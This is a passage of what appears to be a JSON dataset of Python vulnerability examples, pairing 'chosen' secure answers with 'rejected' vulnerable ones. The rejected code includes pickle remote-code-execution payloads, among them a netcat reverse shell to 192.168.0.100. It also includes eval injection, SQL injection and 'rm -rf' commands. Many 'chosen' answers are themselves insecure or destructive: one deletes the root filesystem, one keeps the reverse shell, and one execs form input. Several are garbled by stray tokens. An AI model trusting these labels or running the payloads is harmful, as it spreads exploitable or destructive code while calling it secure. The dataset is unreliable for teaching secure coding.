        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A memory leak vulnerability in Python could occur due to unclosed file descriptors or network connections, leading to resource exhaustion.",
        "system": "",
        "question": "Write a python code that creates 10,000 TCP connections to 'example.com' on port 80.",
        "chosen": "```python\nimport socket\n\ndef create_connection():\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        s.connect((\"example.com\", 80))\n    except Exception as e:\n        print(f\"Exception occurred: {e}\")\n        s.close()\n        return None\n    return s\n\nconnections = []\nfor i in range(10000):\n    conn = create_connection()\n    if conn is not None:\n        connections.append(conn)\n\n# Close all connections after use\nfor conn in connections:\n    conn.close()\n```",
        "rejected": "```python\nimport socket\n\ndef create_connection():\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((\"example.com\", 80))\n    return s\n\nconnections = []\nfor i in range(10000):\n    connections.append(create_connection())\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's 'eval' function can lead to arbitrary code execution if not used properly.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function, `evaluate_input`, which takes in a string input, evaluates it as a python expression using the built-in `eval` function, and prints the result. The program then enters an infinite loop where it asks the user for input, checks if the input is 'exit', breaks the loop if true, otherwise tries to evaluate the input and handles any exceptions that might occur during evaluation.",
        "chosen": "```python\nimport ast\n\nclass ExpressionVisitor(ast.NodeVisitor):\n    def visit(self, node):\n        self.generic_visit(node)\n\ndef evaluate_input(user_input):\n    tree = ast.parse(user_input, mode='eval')\n    visitor = ExpressionVisitor()\n    visitor.visit(tree)\n\nprint(\"Enter some Python expressions to evaluate:\")\nwhile True:\n    user_input = input()\n    if user_input == \"exit\":\n        break\n    try:\n        evaluate_input(user_input)\n    except Exception as e:\n        print(\"Error:\", str(e))\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    eval(user_input)\n\nprint(\"Enter some Python expressions to evaluate:\")\nwhile True:\n    user_input = input()\n    if user_input == \"exit\":\n        break\n    try:\n        evaluate_input(user_input)\n    except Exception as e:\n        print(\"Error:\", str(e))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a vulnerability could arise from using `eval()` function improperly. This function executes arbitrary code, which can lead to code injection attacks.",
        "system": "",
        "question": "Write a python code that imports the os module, defines a function named 'run_command' which takes user input, evaluates the input as a command, and runs the command using the os system. Then, call the function with user input.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    try:\n        # Evaluate the user input as a command\n        command = user_input.split()\n        \n        # Run the command using subprocess module instead of os.system\n        subprocess.run(command, shell=True, check=True)\n    except Exception as e:\n        print('An error occurred:', e)\n\nrun_command(input(\"Enter your command: \"))\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = eval(user_input)\n    os.system(command)\n\nrun_command(input(\"Enter your command: \"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of pickle module for serialization and deserialization can lead to Remote Code Execution (RCE) if the data being unpickled is not trusted.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.command = 'echo \"You have been hacked\"'\n\n    def __reduce__(self):\n        return (subprocess.Popen, ([self.command],))\n\nsafe_object = SafeClass()\nserialized_object = pickle.dumps(safe_object)\n\ndeserialized_object = pickle.loads(serialized_object)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\nvulnerable_object = VulnerableClass()\nserialized_object = pickle.dumps(vulnerable_object)\n\ndeserialized_object = pickle.loads(serialized_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation and handling of user-provided data can lead to a Buffer Overflow attack.",
        "system": "",
        "question": "Write a python code that takes user input, sanitizes it to prevent buffer overflow attacks, and executes it in the system shell. The output of the command should be stored in a text file.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = user_input[:256]  # This line introduces a buffer overflow vulnerability\n    result = subprocess.run(['/bin/bash', '-c', command], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n    \n    with open('output.txt', 'w') as f:\n        f.write(result.stdout)\n\ndef main():\n    user_input = input(\"Enter your command: \")\n    execute_command(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\nimport ctypes\n\ndef execute_command(user_input):\n    command = user_input[:256]  # This line introduces a buffer overflow vulnerability\n    os.system(\"echo '{}' > output.txt\".format(command))\n\ndef main():\n    user_input = input(\"Enter your command: \")\n    execute_command(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if used carelessly.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'execute_user_input'. This function should take user input, evaluate it using the built-in eval function, and then execute it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedEval(ast.NodeVisitor):\n    def visit_Call(self, node):\n        raise ValueError(\"not allowed\")\n\nrestricted_eval = RestrictedEval()\n\ndef safe_eval(node):\n    restricted_eval.visit(node)\n\ndef execute_user_input():\n    user_input = input(\"Enter something to evaluate: \")\n    parsed = ast.parse(user_input, mode='eval')\n    safe_eval(parsed)\n    eval(compile(parsed, filename=\"\", mode=\"eval\"))\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter something to evaluate: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation or handling of exceptions during type checking can lead to a type juggling vulnerability.",
        "system": "",
        "question": "Write a python code that defines a function named `some_function` which takes an argument `input_data`. This function should try to convert `input_data` into a string format. If `input_data` is an integer, it should return the string representation of the integer. If `input_data` is a list, it should return a new list where each element is the string representation of the corresponding element in the original list. If `input_data` is a dictionary, it should return a new dictionary where each value is the string representation of the corresponding value in the original dictionary. If `input_data` is not one of these types, it should simply return `input_data`. If any error occurs during this process, the function should catch the exception and do nothing.",
        "chosen": "```python\ndef some_function(input_data):\n    if isinstance(input_data, int):\n        return str(input_data)\n    elif isinstance(input_data, list):\n        return [str(i) for i in input_data]\n    elif isinstance(input_data, dict):\n        return {k: str(v) for k, v in input_data.items()}otted\n    else:\n        return input_data\n\nprint(some_function(123))  # Expected output: '123'\nprint(some_function([1, 2, 3]))  # Expected output: ['1', '2', '3']\nprint(some_function({'a': 1, 'b': 2}))  # Expected output: {'a': '1', 'b': '2'}\nprint(some_function('Hello'))  # Expected output: 'Hello'\n```",
        "rejected": "```python\ndef some_function(input_data):\n    try:\n        if type(input_data) == int:\n            return str(input_data)\n        elif type(input_data) == list:\n            return [str(i) for i in input_data]\n        elif type(input_data) == dict:\n            return {k: v for k, v in input_data.items()}\n        else:\n            return input_data\n    except Exception as e:\n        pass\n\nprint(some_function(123))  # Expected output: '123'\nprint(some_function([1, 2, 3]))  # Expected output: ['1', '2', '3']\nprint(some_function({'a': 1, 'b': 2}))  # Expected output: {'a': '1', 'b': '2'}\nprint(some_function('Hello'))  # Expected output: 'Hello'\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of 'eval' function in Python can lead to arbitrary code execution which can be exploited by attackers.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web application with a form that accepts user input and executes it as Python code.",
        "chosen": "```python\nimport os\nfrom flask import Flask, request, abort\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField\nfrom wtforms.validators import DataRequired\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.urandom(32)\n\nclass MyForm(FlaskForm):\n    text = StringField('text', validators=[DataRequired()])\n\n@app.route('/', methods=['GET', 'POST'])\ndef my_form():\n    form = MyForm()\n    if form.validate_on_submit():\n        try:\n            exec(form.text.data)\n        except Exception as e:\n            print(f\"Error executing code: {e}\")\n            abort(400)\n        return ''\n    return '''\n        <form method=\"POST\">\n            <input name=\"text\">\n            <input type=\"submit\">\n        </form>'''\n\nif __name__ == \"__main__\":\n    app.run()\n```",
        "rejected": "```python\nimport os\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/')\ndef my_form():\n    return '''\n        <form method=\"POST\">\n            <input name=\"text\">\n            <input type=\"submit\">\n        </form>'''\n\n@app.route('/', methods=['POST'])\ndef my_form_post():\n    text = request.form['text']\n    eval(text)\n    return ''\n\nif __name__ == \"__main__\":\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python could occur when a programmer writes data to a buffer beyond its size.",
        "system": "",
        "question": "Write a python code that defines a function named 'overflow_buffer' which takes a byte array 'data' as an argument. This function should create a new byte array 'buffer' of size 10 and fill it with the elements from the input 'data'. If the length of 'data' is greater than 10, the remaining elements should be ignored. The function should then return the 'buffer'. Create a byte array 'data' of size 20 and fill it with the ASCII value of 'A' (0x41). Finally, print the result of calling 'overflow_buffer' with 'data' as an argument.",
        "chosen": "```python\ndef overflow_buffer(data):\n    buffer = bytearray(10)\n    for i in range(min(len(data), len(buffer))):\n        buffer[i] = data[i]\n    return buffer\n\ndata = bytearray(20)\nfor i in range(20):\n    data[i] = 0x41\n\nprint(overflow_buffer(data))\n```",
        "rejected": "```python\ndef overflow_buffer(data):\n    buffer = bytearray(10)\n    for i in range(len(data)):\n        buffer[i] = data[i]\n    return buffer\n\ndata = bytearray(20)\nfor i in range(20):\n    data[i] = 0x41\n\nprint(overflow_buffer(data))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in pickle module may lead to arbitrary code execution if deserializing untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"You have been hacked!\"' in the system shell when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', \"You have been hacked!\"],))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module can unpickle data from an untrusted source for code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should have a special method `__reduce__` which returns a tuple containing the function `os.system` and a string argument 'cmd /c calc'. Then, deserialize and execute the serialized data.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        # Use subprocess instead of os.system for security reasons\n        return (subprocess.Popen, ('cmd /c calc',),)\n\ndef serialize(obj):\n    return pickle.dumps(obj)\n\ndef deserialize(serialized_data):\n    # Use pickle.loads with protocol=2 to avoid vulnerability\n    return pickle.loads(serialized_data, encoding='bytes')\n\n# Secure optimized code\ndeserialize(serialize(RCE()))\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('cmd /c calc',))\n\ndef serialize(obj):\n    return pickle.dumps(obj)\n\ndef deserialize(serialized_data):\n    return pickle.loads(serialized_data)\n\n# Vulnerable code\ndeserialize(serialize(RCE()))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module may lead to arbitrary code execution if used for untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"Hacked!\"' using the os.system function.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'Hacked'],),)\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to potential security risks if used improperly.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it using the built-in `eval()` function and prints the result. The program should continue to ask for user input indefinitely, with a delay of 1 second between each iteration.",
        "chosen": "```python\nimport ast\nimport time\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['print', 'open']):\n            raise ValueError('Only print and open functions are allowed')\n        ast.NodeVisitor.generic_visit(self, node)\n\ndef evaluate_input(user_input):\n    tree = ast.parse(user_input, mode='single')\n    RestrictedPython().visit(tree)\n    # compile the parsed code into a code object\n    code = compile(tree, filename=\"<ast>\", mode=\"single\")\n    # evaluate the code\n    return eval(code)\n\nwhile True:\n    user_input = input(\"Enter something to evaluate: \")\n    try:\n        print(evaluate_input(user_input))\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n    time.sleep(1)\n```",
        "rejected": "```python\nimport time\n\ndef evaluate_input(user_input):\n    evaluated = eval(user_input)\n    return evaluated\n\nwhile True:\n    user_input = input(\"Enter something to evaluate: \")\n    print(evaluate_input(user_input))\n    time.sleep(1)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if not used properly.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web server. The server should have an endpoint '/' which accepts a GET request. When a request is made to this endpoint, it should take a query parameter named 'input'. It should evaluate the value of 'input' as a python expression and return the result of the evaluation.",
        "chosen": "```python\nfrom flask import Flask, request, jsonify\nfrom ast import literal_eval\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    # Get the user input from the URL\n    user_input = request.args.get('input', '')\n\n    # Check if the user input is empty\n    if not user_input:\n        return jsonify({\"error\": \"No input provided.\"}), 400\n\n    try:\n        # Safely evaluate the user input as Python code\n        result = literal_eval(user_input)\n    except (ValueError, SyntaxError):\n        return jsonify({\"error\": \"Invalid input.\"}), 400\n\n    # Return the result of the evaluation\n    return jsonify({\"result\": result})\n\nif __name__ == '__main__':\n    app.run()\n```",
        "rejected": "```python\n# Import the necessary module\nimport flask\n\n# Create a Flask application\napp = flask.Flask(__name__)\n\n@app.route('/')\ndef index():\n    # Get the user input from the URL\n    user_input = flask.request.args.get('input', '')\n\n    # Evaluate the user input as Python code\n    result = eval(user_input)\n\n    # Return the result of the evaluation\n    return str(result)\n\nif __name__ == '__main__':\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Inadequate error handling and input validation may result in a type error or other runtime errors in Python.",
        "system": "",
        "question": "Write a python code that asks the user to enter two numbers and then prints the sum of these two numbers.",
        "chosen": "```python\ndef calculate_sum(n1, n2):\n    try:\n        return int(n1) + int(n2)\n    except ValueError:\n        print(\"Invalid input. Please enter valid integer values.\")\n        return None\n\nnum1 = input(\"Enter first number: \")\nnum2 = input(\"Enter second number: \")\n\nresult = calculate_sum(num1, num2)\nif result is not None:\n    print(\"The sum is: \" + str(result))\n```",
        "rejected": "```python\ndef calculate_sum(n1, n2):\n    return n1 + n2\n\nnum1 = input(\"Enter first number: \")\nnum2 = input(\"Enter second number: \")\n\nresult = calculate_sum(num1, num2)\nprint(\"The sum is: \" + str(result))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may suffer from Insecure Deserialization vulnerabilities, which can result in Remote Code Execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked\"'\". Then create an instance of 'VulnerableClass' and pass it to the 'serialize_and_deserialize' function.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.data = \"You have been hacked\"\n\n    def __getstate__(self):\n        raise TypeError(\"Serialization of this class is not allowed\")\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass()\ntry:\n    serialize_and_deserialize(safe_object)\nexcept TypeError as e:\n    print(e)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\nserialize_and_deserialize(vulnerable_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module usage without proper validation or encryption can lead to Remote Code Execution (RCE).",
        "system": "",
        "question": "Write a python code that imports the pickle and os modules. Define a class named RCE which has a special method __reduce__ that returns a tuple containing the os.system function and a string argument 'nc -e /bin/bash 192.168.0.100 4444'. Serialize an instance of this class using pickle.dumps() and print the result.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RCE:\n    def __init__(self):\n        self.command = 'nc -e /bin/bash 192.168.0.100 4444'\n\n    def __reduce__(self):\n        return (subprocess.Popen, (self.command,))\n\nrce_instance = RCE()\npickled = pickle.dumps(rce_instance)\nprint(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('nc -e /bin/bash 192.168.0.100 4444',))\n\npickled = pickle.dumps(RCE())\nprint(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "There is a possibility of SQL injection vulnerability in Python if raw SQL queries are used without parameterized inputs.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a username as input, constructs a SQL query to fetch information about the user from the 'users' table in the database where the username matches the input. If the input username is 'test' OR '1'='1', the function will return the first record from the 'users' table.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    # Use parameterized inputs to prevent SQL injection\n    cursor.execute(\"SELECT * FROM users WHERE username = ?\", (username,))\n    result = cursor.fetchone()\n    return result\n\n# Example usage\nprint(get_user_info(\"test' OR '1'='1\"))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username = '\" + username + \"'\"\n    cursor.execute(query)\n    result = cursor.fetchone()\n    return result\n\n# Example usage\nprint(get_user_info(\"test' OR '1'='1\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Incorrect input validation in Python can lead to injection attacks if not handled properly.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application. The application should have a route '/user/<username>' which takes a username as an argument. When this route is accessed, it should connect to a SQLite database named 'users.db', select all rows from a table named 'users' where the 'username' matches the one passed in the URL, and return the first matching row.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/user/<username>')\ndef get_user(username):\n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    # Use parameterized queries to prevent SQL injection\n    query = \"SELECT * FROM users WHERE username = ?\"\n    result = cursor.execute(query, (username,))\n    return result.fetchone()\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/user/<username>')\ndef get_user(username):\n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username = '\" + username + \"'\"\n    result = cursor.execute(query)\n    return result.fetchone()\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a vulnerability can occur due to the use of pickle module for object serialization. Unpickling untrusted data can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an instance of a class called VulnerableClass. The VulnerableClass has a special method __reduce__ which returns a tuple containing the os.system function and a string argument 'echo \"You have been hacked!\"'. When you unpickle the data, it will execute the command 'echo \"You have been hacked!\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.message = \"You have been hacked!\"\n\n    def __repr__(self):\n        return f\"SafeClass(message={self.message})\"\n\n    def display_message(self):\n        print(self.message)\n\nprint(\"Pickling SafeClass object...\")\nsafe_obj = SafeClass()\npickled_data = pickle.dumps(safe_obj)\n\nprint(\"Unpickling pickled data...\")\nunpickled_object = pickle.loads(pickled_data)\n\nprint(\"Displaying message...\")\nunpickled_object.display_message()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\nprint(\"Pickling VulnerableClass object...\")\npickled_data = pickle.dumps(VulnerableClass())\n\nprint(\"Unpickling pickled data...\")\nunpickled_object = pickle.loads(pickled_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code if used with untrusted input, posing a security risk.",
        "system": "",
        "question": "Write a python code that asks the user to enter something, evaluates the user's input as Python code using the `eval` function, and then prints out the execution time.",
        "chosen": "```python\nimport time\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['eval', 'exec']):\n            return self.generic_visit(node)\n        else:\n            raise ValueError('Function eval/exec is not allowed')\n\ndef safe_eval(code,locals=None,globals=None):\n    tree = compile(code,\"<string>\",mode=\"eval\")\n    restricted_transformer = RestrictedPython()\n    new_tree = restricted_transformer.visit(tree)\n    if new_tree is None:\n        raise ValueError('Restricted eval/exec detected')\n    return eval(compile(new_tree,\"<string>\",\"eval\"),locals,globals)\n\ndef secure_function():\n    user_input = input(\"Enter something: \")\n    safe_eval(user_input)\n\nif __name__ == \"__main__\":\n    start_time = time.time()\n    try:\n        secure_function()\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n    end_time = time.time() far\n    print(f\"Execution time: {end_time - start_time} seconds\")\n```",
        "rejected": "```python\nimport time\n\ndef vulnerable_function():\n    user_input = input(\"Enter something: \")\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    start_time = time.time()\n    vulnerable_function()\n    end_time = time.time()\n    print(f\"Execution time: {end_time - start_time} seconds\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A lack of input validation or sanitization can lead to command injection vulnerabilities in Python.",
        "system": "",
        "question": "Write a python code that imports the subprocess module. Define a function named 'execute_command' that takes a string 'user_input' as an argument. Inside this function, create a variable 'command' and assign it the value of 'user_input'. Then, create a subprocess using the subprocess.Popen method, passing in 'command' as the first argument, setting 'shell' to True, and redirecting stdout and stderr to PIPE. Finally, use the communicate method on the process object to get the output and error. Return the output and error. After defining the function, create a string 'user_input' with the value \"ls; rm -rf *\", and call the 'execute_command' function with 'user_input' as the argument.",
        "chosen": "```python\nimport shlex\nimport subprocess\n\ndef execute_command(user_input):\n    command = shlex.split(user_input)\n    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    output, error = process.communicate()\n    return output, error\n\nuser_input = \"ls; rm -rf *\"\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = user_input\n    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    output, error = process.communicate()\n    return output, error\n\nuser_input = \"ls; rm -rf *\"\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if untrusted data is deserialized.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize an object that when unpickled, executes a system command to print out 'You have been hacked!'",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\nsafe_pickled_data = pickle.dumps(SafePickle())\n\n# This will execute the command 'echo \"You have been hacked!\"'\nsafe_unpickled_data = pickle.loads(safe_pickled_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\npickled_data = pickle.dumps(EvilPickle())\n\n# This will execute the command 'echo \"You have been hacked!\"'\nunpickled_data = pickle.loads(pickled_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper use of eval() function can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function 'run_code' that takes a string argument, evaluates it using the 'eval' function, and returns the result. Then, use this function to execute a command that will delete all files in the root directory of the system.",
        "chosen": "```python\nimport os\nimport subprocess\n\n# This is a secure function\ndef run_command(user_input):\n    if user_input == \"delete_all_files\":\n        # Using subprocess to run the command\n        subprocess.call(['rm', '-rf', '/'])\n    else:\n        print(\"Invalid command\")\n\n# User input\nuser_input = \"delete_all_files\"\n\n# Run the secure function\nrun_command(user_input)\n```",
        "rejected": "```python\nimport os\n# This is a vulnerable function\ndef run_code(user_input):\n    return eval(user_input)\n\n# User input\nuser_input = \"__import__('os').system('rm -rf /')\"\n\n# Run the vulnerable function\nrun_code(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in eval() function can lead to arbitrary code execution if used incorrectly.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'command_execution' which takes an argument 'user_input'. This function should evaluate the 'user_input' using the built-in eval() function and return the result. After defining the function, get user input from the console and pass it to the 'command_execution' function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedEval(ast.NodeVisitor):\n    def visit_Call(self, node):\n        raise ValueError(\"RestrictedEval: cannot call functions\")\n\ndef restricted_eval(node):\n    visitor = RestrictedEval()\n    visitor.visit(node)\n\ndef command_execution(user_input):\n    tree = ast.parse(user_input, mode='single')\n    restricted_eval(tree)\n    compiled_code = compile(tree, filename=\"<ast>\", mode='eval')\n    return eval(compiled_code)\n\nuser_input = input(\"Enter your command: \")\ntry:\n    print(command_execution(user_input))\nexcept Exception as e:\n    print(f\"An error occurred: {e}\")\n```",
        "rejected": "```python\nimport os\n\ndef command_execution(user_input):\n    return eval(user_input)\n\nuser_input = input(\"Enter your command: \")\ncommand_execution(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exception may lead to unintended information disclosure through error messages.",
        "system": "",
        "question": "Write a python code that validates a password based on certain conditions. The password should be at least 8 characters long, contain at least one digit, one uppercase letter, one lowercase letter, and one special character from the set '_@$'. If the password does not meet these conditions, raise a ValueError with an appropriate message.",
        "chosen": "```python\nimport re\nimport sys\n\ndef validate_password(password):\n    if len(password) < 8:\n        raise ValueError(\"Password too short\")\n    if not re.search('[0-9]', password):\n        raise ValueError(\"Password must contain a number\")\n    if not re.search('[A-Z]', password): \n        raise ValueError(\"Password must contain an uppercase letter\")\u8bae\n    if not re.search('[a-z]', password): \n        raise ValueError(\"Password must contain a lowercase letter\")\n    if not re.search('[_@$]', password): \n        raise ValueError(\"Password must contain a special character\")\n    return True\n\ntry:\n    print(validate_password(sys.argv[1]))\nexcept ValueError as e:\n    print(str(e))\n```",
        "rejected": "```python\nimport re\nimport sys\n\ndef validate_password(password):\n    try:\n        if len(password) < 8:\n            raise ValueError(\"Password too short\")\n        elif re.search('[0-9]', password) is None:\n            raise ValueError(\"Password must contain a number\")\n        elif re.search('[A-Z]', password) is None: \n            raise ValueError(\"Password must contain an uppercase letter\")\n        elif re.search('[a-z]', password) is None: \n            raise ValueError(\"Password must contain a lowercase letter\")\n        elif re.search('[_@$]', password) is None: \n            raise ValueError(\"Password must contain a special character\")\n        else:\n            return True\n    except Exception as e:\n        print(e)\n        return False\n\nprint(validate_password(sys.argv[1]))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of 'eval' function can lead to arbitrary code execution if used carelessly.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'evaluate_string' which takes a string as an argument and evaluates it using the built-in eval() function. Then, it asks the user to enter something to evaluate and passes the user's input to the 'evaluate_string' function.",
        "chosen": "```python\nimport ast\n\nclass ExpressionVisitor(ast.NodeVisitor):\n    def visit(self, node):\n        allowed_nodes = [ast.Expr, ast.Num, ast.BinOp]\n        if type(node) not in allowed_nodes:\n            raise ValueError(f\"Invalid expression: {type(node).__name__}\")\n        return super().visit(node)\n\ndef evaluate_string(user_input):\n    tree = ast.parse(user_input, mode='eval')\n    ExpressionVisitor().visit(tree)\n    result = eval(compile(tree, '', mode='eval'))\n    print(result)\n\nuser_input = input(\"Enter something to evaluate: \")\nevaluate_string(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_string(user_input):\n    eval(user_input)\n\nuser_input = input(\"Enter something to evaluate: \")\nevaluate_string(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module unsafely deserializes objects from untrusted sources, leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should have a special method `__reduce__` which returns a tuple containing the function `os.system` and a string argument 'echo \"Hacked!!!\" > /tmp/hacked.txt'. This will execute the command in the system shell and create a file '/tmp/hacked.txt' with the content 'Hacked!!!'.",
